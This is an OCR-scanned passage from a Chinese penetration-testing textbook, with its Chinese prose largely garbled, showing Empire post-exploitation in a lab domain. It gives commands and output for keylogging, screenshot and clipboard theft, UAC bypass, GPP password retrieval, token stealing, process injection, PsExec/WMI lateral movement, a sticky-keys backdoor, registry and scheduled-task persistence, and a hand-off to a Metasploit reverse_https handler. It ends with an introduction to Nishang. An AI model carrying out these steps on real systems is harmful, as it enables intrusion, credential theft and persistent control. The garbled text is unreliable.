wE—EEMER®S, WBypass UACIEN &S . SCEEGS.
Download FEM{4, Upload HEXHE, RAXERBEMAE RS, BNES

é,mﬁ‘ﬁb{*égﬁé;‘t,ﬁ\ﬁﬁﬁi@a

6.3.6 (SEI
EmpweIEﬁﬁfFI: . FMMESEMER R ER— MR, aILAER
search modulefp$igEE EEF@E’J@U& XE@EITEE \usemodule collectionfAig
ETabEEEEAFIE, WE6-106F7m.



.{ EREMEENWE" FFhicoe = }.

browser_da
rd monitor

FEET N ERER,

1.F=EEE

keylogger

minidump*

El6-106 EEEmMpiretER{IT=ETFE

WAL TSR EEZERNERSS, ME6-107F7r.

usemodule collection/screenshot

info

(Empire: ) > usemodule collection/screenshot
(Empire: powershell/collection/screenshot) > info

Name:
Module:
NeedsAdmin:

OpsecSafe:
Language:
MinLanguageVersion:
Background:
OutputExtension:

Get-Screenshot
powershell/collection/screenshot
False

True

powershell

2

False
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FEEHZANEE, B \executell]EEBIRFNHNEEER, W

6-108#1E6-109F 73~

(Empire: p ell llectic ot) > execute
(Empire: p rshe llect t) > back

(Empire: ) >
Output saved to ./downloads/64/screenshot/WIN7-64 2017-11-24 01-22-41.png

El6-108 iz{TiEtR

WIN7-64..2018-01-26_08-48-14.png (- IO -]

Properties x

MS08067 Dark

E6-109 EEMEEINEEER
2BRICK
WAL THTHTETZERNEASY, WE6-110/7r.
usemodule collection/keylogger

info
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e
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(Empire: ) > usemodule collection/keylogger
(Empire: powershell/collection/keylogger) > run

(Empire: powershell/collection/key er) > info

Name: Get-KeyStrokes
Module: powershell/collection/keylogger
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: True
OQutputExtension: None

Ele-110 FE@&Eic=
FIFEOAIREROILL Y, B executeSalaHAICRBIRENAIEEEA
Bn s, WiSEafEempire/downloads/<AgentName> F4ER—"agent.log™

#, E6-111H7.

n/keylogger) > execute

\/keylogger) > back

< > ||« Empire downloads = 64 screenshot »

© Recent »~

2+ Home agent.log  screenshot

E16-111 &Akagent.log>Zis
BREBRETNEEMEE I EHEHEE Ol LE—H1E, WE6-112F7rk.



Hg BHSUEEFN TED oo = §H

WWW. glanani. com

et -REs - 8T | N |
XAE) BEE WO WHY) BEHH
*ﬁmﬁé SERZFOHE. H2E0 1S RS ST, BRNE
mER TR B KB E Ry el

SHmEs

2018.1.25

E6-112 MAN=E
FT#fagent.logBle] EE BirEHASEREN B R CELEERINRIER Nk
T, BRAEECRPN, (EEXHSBAREEHEN, SBE. MEREHIERTT

3k, WE6-113f7k.

| open ~ |[m] - [ sae |[=] @ @ @

2018-1-25 20:30:20 :

q
[Backspace][]
[Ctrl][SpaceBar]

SpaceBar]

o QrmHFQOQ 3 HQ

Ele-113 E5EnEINRERNCE
MREBRHEHTRECE, TUBLAISRERETES, BI\jobsBIA&R
L alcR. NEEEILCR, oJLAGERjobs kill JOB_namei<, XEHA
jobs kill N7XE38BIe]{=IHBEIER, AE6-114Fr.
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S

(Empire: ) > jobs kill N7XE38

(Empire: ) > jobs
(Empire: ) >

Job N7XE38 killed.
Running Jobs:

(Empire: ) >
El6-114 Z1HBEICE

3. BIMARICR

XAV RS E B ARENWindows BB FRYERINZE. BJ1L
IREERSHAMBEREFERNE, —fER T, FRIFEOARERAL, XBEMALL
TH< o EEEA2H, WE6-115F .

usemodule collection/clipboard monitor

info

(Empire: ) > usemodule collectlon/cllpboard mOﬂltOl
(Empire: powershel yLlectior ipboard me r) > info

Name: Get-ClipboardContents
Module: powershell/collection/clipboard monitor
NeedsAdmin: False

OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: True
OutputExtension: None

BE6-115 (FEER
BBV EESH—aE, SEEECKRERERY, BELRE
BIRAY, 2NE6-116F.
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E6-116 EEEMIRART
Etftt, SplsEREoIBTEES, M\ jobsaB RISt alicR,
MEBEIE, FEREFEEENjobs kill JOB name, #E6-117F 7.

(Empire: ) > jobs
(Empire: >
Running Jobs:
TK6PB7

(Empire: ) > jobs kill TK6PB7
(Empire: ) >
Job TK6PB7 killed.

(Empire: ) > jobs
(Empire: ) >
Running Jobs:

B6-117 FELLBERARICR
AEKRHE

i A\usemodule situational awareness/network/powerview/
share finderapSHE5IHIENFFERNIHEE, olLli&E CheckShareAccessiElitig Hik[A]
I NERIFAF E PSR R, XBERSEOARER, WME6-118f7r.
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(Empire:
(Empire:
(Empire: j
(Empire:

) > usemodule 51tua'1onal awareness/ netnork,pow¢rv1eh/share finder

tuati

) >

Job started: Z1UBVK

\\WIN7-64.shuteer

-64.shuteer
64.shuteer
-64.shuteer

\\WIN7-X86.shuteer
\\WIN7-X86.shuteer.testlab\($
.testlab\IPC$

\
\
\\W 64.shuteer
\
\

\\WIN7-X86.shuteer

testlab\ADM
testlab
testlab\Cs$
testlab\IPC$
testlab\Users

Invoke-ShareFinder completed!

5. EBREHANER
) A\ usemodule situational awareness/host/winenumar<EIR]E=EANL
BR. BERR. SENZRIRERE. BIMENE. ZRAENMEE. NBERSES

B, #£=E5F, ME6-119Fr.

testlab\ADMINS

ar) > execute
are_fi ) > back

ZHEEE

Bune

- E# IPC

- EREE
Uty
g IPC

El6-118 &5

=



(Empire: powershell/situational_awareness/host/winenum) > execute
(Empire: situational_awareness/host/winenum) >
Job started: KSGEBT

Domain Users

Administrators

Schema Admins

Enterprise Admins

Domain Admins

Group Policy Creator Owners

E6-119 EEEHAEE

BIMNEABsituational awareness/host/computerdetailst&Eth, EJ1F512E
TERATFNMEERER, WEGRINSHEE. NAEFEHFEIRAS, SERDPE
RIEE. PowerShel HIARETHEFNESS. Mo X MERNFESENIR, X
HZalLA=E—F.
o~ 6.ARPHE

EmpiretB NE 7 ARPIIfEER, A\ usemodule situational awareness/
network/arpscanfSBIA] EFRZIEE, XEEIRERange2H, BN THSIRE
EEAIMER, E6-120F 7.

set Range 192.168.31.0-192.168.31.254

execute

ﬂﬁﬁ%%ﬁﬁ%"ﬁﬁ»mw0=§

2
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(Empire: situat ‘ etwork/ar ) > set Range 192.168.31.0-192.168.31.254
(Empire: situat il _a t . ) > execute

(Empire: 3t i twor

Job started: Debug32 ulpmc

m) >

Address

192.168
192.168
192.168
192.168
192.168.3
192.168.3
192.168
192.168.
192.168

El6-120 1EEZ8
B, Empiretb NE 7 im[113iE#hsituational awareness/network/
portscan, XEBFAES .
7. DNS{SE3RE
ERRF, HEFrELEEAIHostNameRIXI MAYI PSS AT X E
=, ) \usemodule situational awareness/network/reverse dns#ap<$BIR]{ERIZ

B, XBEFEgERange2¥, MABTENIPMERF T, E6-121/ k.
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(Empire: powershell/situational aw:

(Empire: shell/situational
(Emp1ire: >
Job started:

BEe6-121 iIBT5E%
MBZENERERINNE, Empiretb &8RSk, HERINISHKIOFE
.
HRa] AR S— Méthsituational awareness/host/dnsserver@=24
BT RIDNSiRSSE2/YIPHthE, #1E6-122f 7.

(Empire: ) > usemodule situational awareness/host/dnsserver
(Empire: powershell/situational awarene host/dnsserver) > execute
(Empire: powershell/situational awarene host/dnsserver) > back
(Empire: I

192.168.

(Empire:

El6-122 B 4aTrMDNSIRE S0P
8 BRI EERIRSEEIP
ERMZES, SHESETANFEESENEENIR, Hiiz—MEKRIEE
RIS, RoEEZERE, TREESIR, NME M, X MERMERkR
ERIREERIN 28N,
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fEEAusemodule situational awareness/network/powerview/
user_hunterX MEREILERIESIBIBPER THATH, XESRIEEEE
FH1BEZ IWIN7-64.shuteer.testlab, IPih/9192.168.31. 251X &S, WE
6-123f7.

(Empire: situatio awareness/network/po er hunter) > execute
(Empire: sit ‘1 \ 2ss/network/po iser _hunter) >
Job started: D bu932 nm2w3

UserDomain : SHUTEER

UserName : Administrator
ComputerName : WIN7-64.shuteer.testlab
IPAddress : 192.168.31.251
SessionFrom

LocalAdmin

Invoke-UserHunter completed!

9 AR OjE R
f&EFusemodule situational awareness/network/powerview/
find_localadmin_accesst&tiey, AEEMBRINRKE, BHiZi\executefln], &
YNEN6-124F7r.

(Empire > usemodule situational awareness/network/powervie ind localadmin access
{ € L k ¢ ! L ) > execute

Find-LocalAdminAccess compl



El6-124 ESFIEREHEER
oI BRERAITEN, BFHBIIWIN7-64.shuteer.testlabfIWIN7-
X86.shuteer.testlab.
10 ZREUEHE SIS
DifEn] L Fiusemodule situational awareness/network/powerview/
get domain_controllerfEthEiRE LRI HEE, RACLE THEAIUR, EiZ
i\ executeBlln], #E6-12507.

) » usemodule situational awareness/ no!-orl powerview/get domain controller
IeATEness etwork/powerview/g 3 1 er) > execute

) areness/network/pe view/get domai troller) »
eness/networ

shuteer.testlabd
W17/7/9 13:39:23
20769

shuteer.testlad
192.168.31.25%

.\ Fr u\lllSw»w\(alxbi A

InboundConnection

DutboundConnections

ane DC.shuteer. testiab
Partitions

E6-125 REUEEHIEE
ME6-1254 ] LAEZIZa0i RS 882 ADC.
B FESHInEARSEEDCH “C$” |, EREHIRAIAE), E6-126F

EmmﬁmmeM"m%»mvns}

2
S

7INo
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:

(Empire: ) > shell dir \\DC\c$
(Empire: ) >
B®: \\DC\c$

Mode LastWriteTime Length Name

2017/6/5 - 1netpub

2013/8/22 : PerflLogs

2017/6/5 : Program Files
2017/6/5 : Program Files (x86)
2017/6/5 - Users

2017/5/11 - Windows

2017/7/8 : 339 oem8.log

BEl6-126 ihialERSE =R T E,

6.3.7 BURIEF

B, mERNHERSE CHERSSHTIEER, FELEWindowsH, {R
AEERNAFEG6uest, BURNEHEMBREER, 57 EEWindowsHIFT
BYUR. IRNEEENTWEE, —RETMIEAGNRREAE, BBHE TEX
JURR.

1.Bypass UAC

#iA\usemodule privesc/bypassuac, iZEListener24], izfTexecute, &

| REAH EET — 1 EHIsGE, WE6-127F 7.

(Empire: powershell/privesc/bypassuac) > set Listener shuteer
(Empire: powershell/privesc/bypassuac) > execute
[>] Module is not opsec safe, run? [y/N] y

(Empire: powershell/privesc/bypassuac) > back

(Empire: 2KLVAMX9) >

Job started: NPAWVY

[+] Initial agent ZEX4ATS8(M from 218 .790waN. 145 now active (Slack)
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El6-127 Bypasss3EaETh
[Fagents, #AlistinS, cILAEFIZ T —1agents, wESHBIOIRNK
INfagents, WE6-128Ffr.

(Empire: agemts) > list

[*] Active agents:

El6-128 JRATALIhROBIE
2.bypassuac wscript
BAMERIIARERE#AC: \Windows\wscript.exeffifTPayload, BI%EiT
UACLHIEHE RiRH{TPayload, RERTES AWindows 7HEREN, BaIH
REXNANT, o RSRESERT. NE6-129R, HESHBLARIINN.

Ele-129 IRFmINRFIZE

3.PowerUp
EmpireRE T PowerUplIEBon TH, BTFEAEN, TEGWindowsiEiRER
SELEmiA. Windows Servicesjminl, AlwaysinstallElevatedifRZ8fRt A=,
#iAusemodule privesc/powerup, RS TabfEEFPowerUpfI=E51%E, WIE
6-130Ff 7.



B HEUEEHN TE oo =

<

Ele-130 E5ERTIE
(1) AllCheckst&ith
ERESATHFERE, fPowerSploit FPowerUp=fJinvoke-AllCheckst&th
—, RERJLTIERARERSRRE, BALTHS, AE6-131F7k.
usemodule privesc/powerup/allchecks

execute

(Empire ) > usemodule privesc/powerup/allichecks
(Empire: privesc/powerup/allchecks) > execute

{(Empire: privesc/powerup/allchecks) >

Job started: Debug32 zfwit

*] Running Invoke-AllChecks

*] Checking if user is in a local group with administrative privileges
+] User 1s in a local group that grants administrative privileges!
*] Run a BypassUAC attack to elevate privileges to admin

*] Checking for unquoted service paths...
*] Use 'Write-UserAddServiceBinary' or 'Write-CMDServiceBinary' to abuse

ServiceName Path

SinforSP C:\Program Files (xB6)\Sinfor\SSL\Promote\SinforPromoteServ
ice.exe

*] Checking service executable and argument permissions...
*] Use 'Write-ServiceEXE -ServiceName SVC' or ‘Write-ServiceEXECMD' to abuse any binaries

*] Checking service permissions. .
*] Use ‘Invoke-ServiceUserAdd -ServiceName SVC' or 'Invoke-Service(MD' to abuse

E6-131 EFESRA
MEI6-131REERRBIH TRE 5%, AILIEIABypass UACKIZY, 124
pIcEEYAINagents, AIRE—"NameJCD3FRRYCFVTYXN3S, IPJy
192.168.31.25 1 NEBRERE iR, WE6-132f k.
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Nane Internal IP Machine Name Username Process Delay Last Seen

COIFRRYCFVIYXNIS  192.168.31.251 WIN7-64 WIN7-64\shuteer  powershell/3SB4  S/6.0  2017.07-08 03:44:02
El6-132 =5 =mifagents
EE\bypassuac testds SRIEN, FREIUMH, MSRE—ESHER
fShell, 2NE6-133f7r.

(Empire: ) > bypassuac test
y
(Empire: ) >
Job started: Debug32 adfcj
[+] Initial agent 341CNFUFK3PKUDML from 192.168.31.251 now active
E6-133 1=28Akh
BREESlagents, AJLABREIZ T— " Name}3341CNFUFK3PKUDMLAY

BEER (FES) EFtm, WE6-134f7r, BRI,

El6-134 BRESagentsilE

(2) HED{ERIRE

AllCheckstE AR FERI S0 T RAf.

o (HEiZHE5 ISHRSER.

o (HIJACLECEEIRAVRS (RliBidservice *FF) .

o (RS aIHITIE ERMHANEEARSAIBSR (el@idservice_exe *#{74
) .

o {HIFI&Nunattend . xmIS4.

e i¥EAlwaysinstallElevatediFAZEIR.

o EH{HJAutologonEIFBIE At ES.



—-o%ﬂi'fﬁ)lﬁ}ﬁmﬁﬁ%" TEBW oo = }H

o {HIINZweb.configF AN FITE it 272,

o X T{H0]%PATH%.DLLEVENEALZ= (cli@idwrite dllhijackerflFH) .

BERLET2IEENEYE, .

e Metasploit. PowerShellZzWindowsi iR R REERASLAARN (http://
www.freebuf.com/articles/system/131388.html)

e MetasploitzWindows ServicesiiRIERELAL (http://www.4hou.com/
technology/4180.html)

e Metasploit, PowershellZAlwaysinstallElevatedfZfVSLE, (https: //

xianzhi.aliyun.com/forum/topic/203)
4.GPP

EREESERASERERICEENA S, ETEEAEMmE, Eha
B iEm R E e MBI HI8S IS YSVOLP ST EE 5. GPPESFAAES
256/I1ZH9, i\ usemodule privesc/gppas ST LAER T, WE6-135f7r.



) > usemodule privesc/gpp
hell/privesc/gpp) > info

Name: Get-GPPPassword
Module: powershell/privesc/gpp
NeedsAdmin: False
OpsecSafe: True
Language: powershell
MinLanguageVersion: 2
Background: True
OutputExtension: None

Authors:
@obscuresec

Description:

Retrieves the plaintext password and other information for
accounts pushed through Group Policy Preferences.

Comments:
https://github.com/mattifestation/PowerSploit/blob/master/Ex
filtration/Get-GPPPassword.psl

Options:

Name Required Value Description

oY
||
e
b
7
2
B
7]
iz
B
A
it
S
i
&
2]

NN

RE68G5K9 Agent to run module on.
(Empire: powershell/privesc/gpp) > execute
(Empire: powershell/privesc/gpp) > back

(Empire: ) >
Job started: NCV7FT

Get-GPPPassword completed

(Empire: ) > |




Bl6-135 ZEGPP
6.3.8 1&MEIBE
1. ShEETE
BIERBIRS ARG, JLMERAENMImikatZRERAZTRS, T
EEfRi\ credsin S BIR B R Empire 3102, AE6-136F.

El6-136 FIEHAYER

ME3-1364 ] LU I G B EEIHRSSSE PER, eI sGEgARS
p, ARHTHERBET, BEEENE), FMpth<ID>4%, XENIDSHEcreds
FHICredIDS, XEFHHAdministratorfISHSHE, HiTpth 766, AE6-1378F

7TNe

?ﬂmﬁmmeM"m%wmvos}



{ﬂﬁﬁ%ﬂﬁﬁ%"m%»mcns}

BEl6-137 S H ke
ME6-137h0] AERIPIDHIES /1380, {FHsteal token PID&SENEIES
BizS3H<hE, WE6-138f .

Running As: SHUTEER\Administrator

Use credentials/tokens with RevToSelf option to revert token privileges

El6-138 FSEIRFSHE

BB psin S EEESABEEBFHE, ME6-139f 7.
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UserName MemUsage

.62 MB
N/A 8.73 M8
NT AUTHORITY\SY 1.62 MB
STEM
WIN7-64\shuteer 3.16 M8
NT AUTHORITY\NE 15.306 MB
TWORK SERVICE
SHUTEER\Adm
trator
NT AUTHORITY\SY
STEM
NT AUTHORITY\SY
STEM

E6-139 EFXgnHE

ME6-139hn] B RIEFER B FINHE, QEL%H—ANameﬁCMD,
PID/91380f%##E, WE6-140F7~.

cmd 1380 x64 SHUTEER\Adminis 2.66 MB
trator

BE6-140 &=&PID
BB steal token®p S EHEUIX SR, XBHREHIBEIERE—&F
WIN7-X86/7 “C$” , ERIRKAR), WE6-141F7.
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Running As: SHUTEER\Administrator

Use credentials/tokens with RevToSelf option to revert token privileges
(Empire: ) > shell dir \\WIN7-X86\c$

(Empire: ) >

B&: \\WIN7-X86\c$

LastWriteTime Length Name

Mode

2017/6/12 - 2345F
2017/5/5 - 366Downloads
2009/7/14 - PerfLogs
2017/6/12 : phpStudy
2017/7/9 - Program Files
2015/3/16 - QMDownload
2017/7/8 - Users
2017/7/9 A Windows
2009/6/11 : autoexec.bat
2009/6/11 : config.sys
2017/6/21 12 2841 PowerUp.psl
2017/6/22 - test.dll

d-=
==
d--

- -N--N-"

E6-141 pIhEIESHE

i \revtoselfip S o] LGSR RINE RIFRATRE, WE6-142F 7.

(Empire: ) > revtoself
(Empire: ) >

RevertToSelf was successful. Running as: DEV\justin

2SI
Hthal A EAusemodule management/psinjectiBEHHTHIZSEN, 3K
HABR. 1ZEEiREListenerflProc IDIXFNEE], XEMJProc IDIFEZHICMDH]
1380, 1B{7/afSERI—MEAFEPRShell, WE6-143f7m.
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psinject) > set Listener shuteer
nject) > set Procld 1380
nject) > execute
psinject) >
Job started: Debugd2 ahvg?
[+] Initial agent LSXMI2ZIHDA21YWN from 192.168.31.251 now active

psinject) > back
psinject) > back
) > back

Internal IP Machine Name Usernane Process Delay Last Seen

K2UMSXPYN2EZNVYK  192.168.31.251 WIN7-64 WIN7 -64\shuteer powershell/1988 5/6.8 2017-67-09 69:34:29
WXEEWMWMKMWMHIMCFU  192.168.31.251  WIN7-64 *WINZ-64\shuteer powershell/576 5/0.8 2017-97-09 089:34:31
LSXMI2ZIHDA21YWN  192.168.31.251 WIN7-64 *SHUTEER\Administratomd/1380 5/0.0 2017-07-69 99:34:33

E6-143 SE8ALTH
3.Invoke-PsExec

PsExecEE&ETEMetasploit NEEERIIEL, PsTools TEEHHH
PskExec, Z T ENRREEHEANRSRCNEHBTEE, MESERE
admin$445ix[1HE, ERErIEEREISYSTEMESR. XEEERIEEmpire
FHJInvoke-PsExect&EE,

ERZERIEHRECEREAMEERIIR, EEEERRAKS,, AGLAL
H— RS K.

W Z BT EE Salagents, AIIRE—1NPA192.168.31.251, &3
AWIN7-64fIiRSS 2R, ANE6-144FT7r.

ernane

*SHUTEER\Administratpower

El6-144 =Fagents
WifEfEAusemodule lateral movement/invoke psexectEiRiBiEiaAS—
EHIEEWINT-X86, BMAinfoEHIRESE, WE6-145/7r.
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Empire: situational awareness/network/powerview/user hunter) > usemodule latgralimoue
Empire: lateral_movesent/invoke psexec) > info

Nave:

Module:
NeedsAdmin:
OpsecSafe:
MinPSVersion:
Background:
DutputExtension:

pescription:

Invoke-PsExec
lateral_movement/invoke psexec
False

False

2

True

None

Executes a stager on remote hosts using PsExec type

functionality.

Required Value Description

El6-145 E5IRESH

XERREYEZNRTT, BALL NS Texecute/sRITJERIRGRELAM
11, #E6-146F7x.
set ComputerName WIN7-X86.shuteer.testlab

set Listenershuteer

execute

: lateral_movement/invoke_psexec) >
: lateral movement/invoke psexec) >
: lateral_movement/invoke_psexec) > execute
y
>

set ComputerName WIN7-X86.shuteer.testlab
set Listener shuteer

: lateral_movement/invoke_psexec)
Job started: Debug32 99658
[+] Initial agent WBZPLMRXAUAFHMUR from 192.168.31.158 now active

E6-146 [58AEI0

B\ agentsin S B A Yalagents, AMB T —1IPH192.168.31.158, #1258
FAIWINT7-X86HIARSS=:, WIE6-147F7~.



dmini
YSTEM

El6-147 EF5agents

4 Invoke-WMI
T PsExecz%, FiBWindowRAHEE T ZRS, UKEHEER
. wmiexecHHTEERT, WindowsESREIAASEHEPICFIXEARIE, XERSILA
HEWHLAE, ENEERATAENEE, EERaEnisREE, ENEBRET
BTIKE, AWML EEE B8 A usemodule lateral movement/
invoke wmiB[alfEFh1ZiEL, BAinfomSEREARSE, WE6-148Fr.

%ﬂﬁﬁ%%ﬁﬁ%"ﬁﬁwmwma§



EEEMEENWE" FF oo =

%

> usemodule lateral

Name: Invoke-WMI
Module: la
sAdmin: Fa

OpsecSafe: Tru
MinPSVersion: 2
Background: Fal

OutputExtension: Non

Authors
sharmj Oy

Description:
Executes a sta

Options

Name Value

Required

Listener True shuteer

CredID False

ComputerName True WIN7-64

Proxy False default

UserName False

ProxyCreds False default

UserAgent False defaul
False

True

Password
Agent

XEEFRRIREHEZMNEYT, BALUTSS, fiTexecutedn$/SHIaIE

3GEpkTh, dNE6-149F 7.

i) > info

shuteer.

LYKEED2GL3BKZXCS

al_movement/invoke wmi

on remote hosts using WMI

testlab

movement/in

cription

Listener to use
CredID from the store to use
Host[s] to execute the stager
separated
Proxy to use
or other).
[domain\ Jusername to
command
Proxy credentials
([domain\ Jusername:password)
request (default, none,
User-agent string to use fo
request (default, none, or ot

word to use to execute command
Agent to run module on

on, comma

for request (default, none,

use to execute

to use for

El6-148 &EFInvoke-WMISHL

Set ComputerName WIN7-X86.shuteer.testlab

Set Listener shuteer

Execute



ame WIN7-X86.shuteer.testlab
shuteer

El6-149 R32AEH
WMIIAB—1 usemodule lateral movement/invoke wmi_debuggert&
B, BERAWMIEZER MWindows Accessibility sl 34 EE— MBS 2,
XERT T BiEsethc.exe (¥himHE, 15 FShiftiEElaftA) . narratorexe
(AEES, o#BUtiIimaniZLEGE) . Utilman.exe (WindowsiEEhESTEEE, %
Win + UBEEEIEIIERA) . Osk.exe (REERMER, wIAIFEUtiImaniZEH) .
Magnify.exe (BCAES, AIAIAUtImanizBMA) , SAnEstaEE—T.

5.PowerShell Remoting
PowerShell RemotingEPowerShelNiiESTEIIEE, FHEWindowsimizs
EIRSWinRMAESR2MENT59851%, 1ZIRSEIAEWindows Server 201240275
&9, FEWindows Server 2003/2008/2008 R2FFEFFIFH.
MR BHRENIE T PowerShell Remoting, EiEAEERATARAIE
18, WeJLAERusemodule lateral movement/invoke psremotingt&if{TiERZ
%5, UIE6-150f7r.

%ﬂﬁﬁ%%ﬁﬁ%"ﬁﬁwmwma§

El6-150 invoke_psremotingt&Eit

6.3.9 BI7J
&, AEEE—EEREEMENT], BEEiE, AHHERNARG
HiEfEEE. EEELZeME, B IRESYZEF MBI RS hRN Y



{mmﬁwmeM"m%»mvns}

hiz. ENIEEENENHREHESBRMEHNNEEFZRS
1 BPREEA S Shift/a1]

#iA\usemodule lateral movement/invoke wmi_debuggerinfodz<Ela]

eSS, BAinfor] IEEERINRESY, WE6-151F7x.

(Empire: ) > u)oﬂodule Ldteral movement/invoke wmi debugger
(Empire: powe el i invo debugger) > info

Name: Invoke-WMIDebugger
Module: powershell/lateral movement/invoke wmi debugger
NeedsAdmin: False
OpsecSafe: False
Language: powershell
MinLanguageVersion: 2
Background: False
OutputExtension: None

BE6-151 EFIRESN
FERE/NE2H, BAUT®HS, WE6-152f7r.
set Listener shuteer
set ComputerName WIN7-64.shuteer.testlab
set TargetBinary sethc.exe

execute

) > set TargetBinary sethc
> set WIN7-64.shuteer.testlab

) > set ComputerName WIN7-64.shuteer, testl
> info

E6-152 1EEEAHSE
=i7fa, EEREYIEEEREOESRshifigilolttsiiar], Bt tS
B o<SiE—NMmY, WE6-153f7s.




Hg BHSUEEFN TED oo = §H

WWW. glanani. com

) Windows Server 2012 ) Windows 7 x64 3 Windows 7-x86 [y KakUnux-2017. 1-vm-amdé4

© uwEa

RS

RIZ-RE— N0, EERLFEE Shift. Curl. At X Windows it =8
HERN@SRESIRE S 2 Shift @,

SERLEFECET. BERBGRsT

TEmEwW |

E6-153 fEfEI]
BILASIEMpire BEB MR F4E, XEH TEHE, £&iZ 73EShiftS

], FRLGGRER3MUE, AE6-154F7m.

El6-154 Z38Ah
FTEIEMNE, sethcexen ABMALATXIUR, TR,
e Utilman.exe (EAWin+UBAEEH)) .
o osk.exe (FFE FAUEE: FHEWIn+USEHEESE) .



{Eﬁ%%%iﬁ%“ﬁ%%ﬁvnS}

e Narratorexe (BalHAA: FEREWin+ USHIHEEHE) .
e Magnify.exe (BUKR: EEWin + UEAESH)

PRES i SEIN N

# A\usemodule persistence/userland/registryssS Bl EFIZELR, 1Z1&E

Ritria~EBRENSIRERIN—

6-155f73.

set Listener shuteer
set RegPath HKCU: Software\Microsoft\Windows\CurrentVersion\Run

execute

Required

ProxyCreds False
EventLogID False

ExtFile False
Cleanup False

ADSPath False

Agent rue
Lis e
KeyName
RegPath

Proxy

UserAgent

LRNERERNADHREET, B

Value

MCPSAH?

H!\(U SOFT‘nARE \Microsoft
Windows\CurrentVersion\R
un

default

default

T, RUAPGSIREEPILNEH, NE

Description

:password) to use for
request ( N ne, or other)

Store the i Application
event log

The ID \-—»11S

the trigger and any

ernate-data-stream location to store
cript code
nt to run module on.
ner to use
name for the run trigger
Registry location to store the script
code. Last element is the key name.

Proxy to use for request (default, none,
or other)

User-agent g to use for the staging
request (de , hone, or other)

E6-155 255

fRS5im.

wSGER, YE6-156F7.



E6-156 R38N

3 RUESIRERSSUR
) \usemodule persistence/elevated/schtasksan<BIR] ERIZIER, X
BEREDailyTime, ListenenX@ 128, WAL TGS, RESRA\ executedn

.

w2 BT RENEAREERNEAIIEE—NEERKIShell, RSB IETIRIELR
e 0, XERUSEIRR, WE6-157F .

; set DailyTime 16: 17

== set Listener test

B

B execute

%

iE

|

K

sC E6-157 FE8AkTh

= IEMI N agentse S BB Lilagents, SILUETIY 57— NEASYSTEMAY
M R, NameSLTVZBAWDDTSTLCGLEVEFim, WE6-158F7, BARERT.

E6-158 &E&agents
XEYEBset RegPathfI23IHKCU: SOFTWARE\Microsoft
\Windows\CurrentVersion\Run, JRAFEEFE16: 175N NEREENGI], £



EZo]LSS—TF.
6.3.10 Empire/zi&[@]Metasploit

TXIREEF, B2FWebShell HENIMSFEFIRLAST BirEHRIRS
Witad, AJLAEFPowerShell3kESd, tBalLRiTEmpirefJPayloadskEsid, mlh
JeEBEREmpirelIEIE E 58R|Metasploit.
XEfEHusemodule code execution/invoke shellCodeffHEXFE 2
#: LhostflLport. #ELhostEXAMSFRRETHIANIP, HULTarSigE=E, WE
YN 6-159F 7.
Set Lhost 192.168.31.247
Set Lport 4444

(Empire: e executi invok allcod > set Lhost 102.168.31.247
(Empire: execut oke allcodal > e
(Empire:

Job started: Debug32 ipd5Sv

E6-159 =554
FEMSF EigERT, @il 1=5i7/a, HalLIEEmpire 58 EERAIShell
7, WE6-160f7r.
Use exploit/multi/handler

»'éwvﬁmsamw- TE MW o =

Set payloadwindows/meterpreter/reverse https
Set Lhost 192.168.31.247
Set Iport 4444

Run



%ﬂmﬁmsamw- TE oo = o

6.4 Nishang
Nishang2—kEt3IPowerShelllisE TH. TETPowerShell i FEMh
LHETE, £l TIER. MAFnEihPayload, BIE7 AT, EEICR. DNS.
R SEMA, # 2N AT 2EMENS M. B TREithohttps: //

github.com/samratashok/nishang.
6.4.1 Nishang&t

NishangZ{EPowerShell 3.0l ERIAMEFAILAEREFER, EREiRE
Windows 7 FEAEG /NS, EAWindows FEFEHIIAEEPowerShell 2.0.
SNERZ R\ Get-Command-Module nishangin$EENishang&la

WL, ANE6-161F7~.



CommandT ype

Function
Function
Function
Function
Function

Function
hmct ion

Punction
FPunction

Punction
Function
Function

ﬂﬁﬁ%ﬂﬁﬁ%"m%wmens}

2

PS C:\lUsers\Adninistrator)> Get-Command

Nane

Add-Exf iltration
Add-Persistence
Add-RegBackdoor
Add-ScrnSaveBackdoor
Baseb4ToString
Check-UN
ConvertTo-ROT13
Copy-USS
Create-MultipleSessions
DNS_TXT_Punage
Do-Exfiltration
Down load
Download_Execute
Download-Execute-PS
Enable-DuplicateToken
Execute-Command-MSSQL
E ate-DNSTXT-Code
E o-OnTine
ExetoText
FireBuster
FirveListener
Get-Information
Get-LsaSecret
Get-PassHashes
Get-PassHints
Get-Unconstrained
WobCredent ials
Vlan-Keys
Get—4miShellOutput

PS > Get-Information

Module nishang

Definition

E6-161 E5ERIIE

ME6-161Fa]AER, NishangfIFrEHmSEHESIHE Y. HiTérSGet-

7 InformationBEELER, X MHIARILUAEBNEE EAAEEE (FTPiAR. #HHE.
HENESEE. TANBZENEE. Hosts(585) .
BEPH T ANATSER,

BEHIFAT®S, Bl

WNE6-162F 7.



J5:. JSE;. WSF ;. WSH; . MS(

El6-162 FIHAHAIZESEE
AEEHN—EE, F{InILAEPowerShellf{#EEOuUt-FilegiiTER2S T
won M, S R,

s

ﬂmﬁ%mamw"ﬁﬁ»mw0=§

2

PS D: nishang-master> Get-Information [Out-File res.txt

XFE, BolLUERERER A Eres. ot Y,

EE I ANishanglIBREEERENE, TS Anishang.psm1JJaTE,
Nishang NIRRT ERER] LAEZ#H PowerShel 5. BELINSEITIZF, SEA
BEiENishanglENBRIEESBiRESEE L. FETE FEE—HANEE, 7
ARSI SEMH B 2REEEIN, WE6-163fTr.
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mmﬁmmamm"sﬁ»mva-g

WWW. glanani. com

git
ActiveDirectory
Antak-WebShell
Backdoors
Bypass
Client
Escalation
Execution
Gather
Misc
MIT™M
Pivot
powerpreter
Prasadhak
Scan
Shells
Utility
| .gitattributes
| .gitignore
] CHANGELOG.txt
| DISCLAIMER txt
| ] LCENSE
7 nishang.psm1
= README.md

2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16
2017/6/26 19:16

2017/6/26 19:16

AT

T

i

Windows Power...

Markdown File

1KB
3 KB
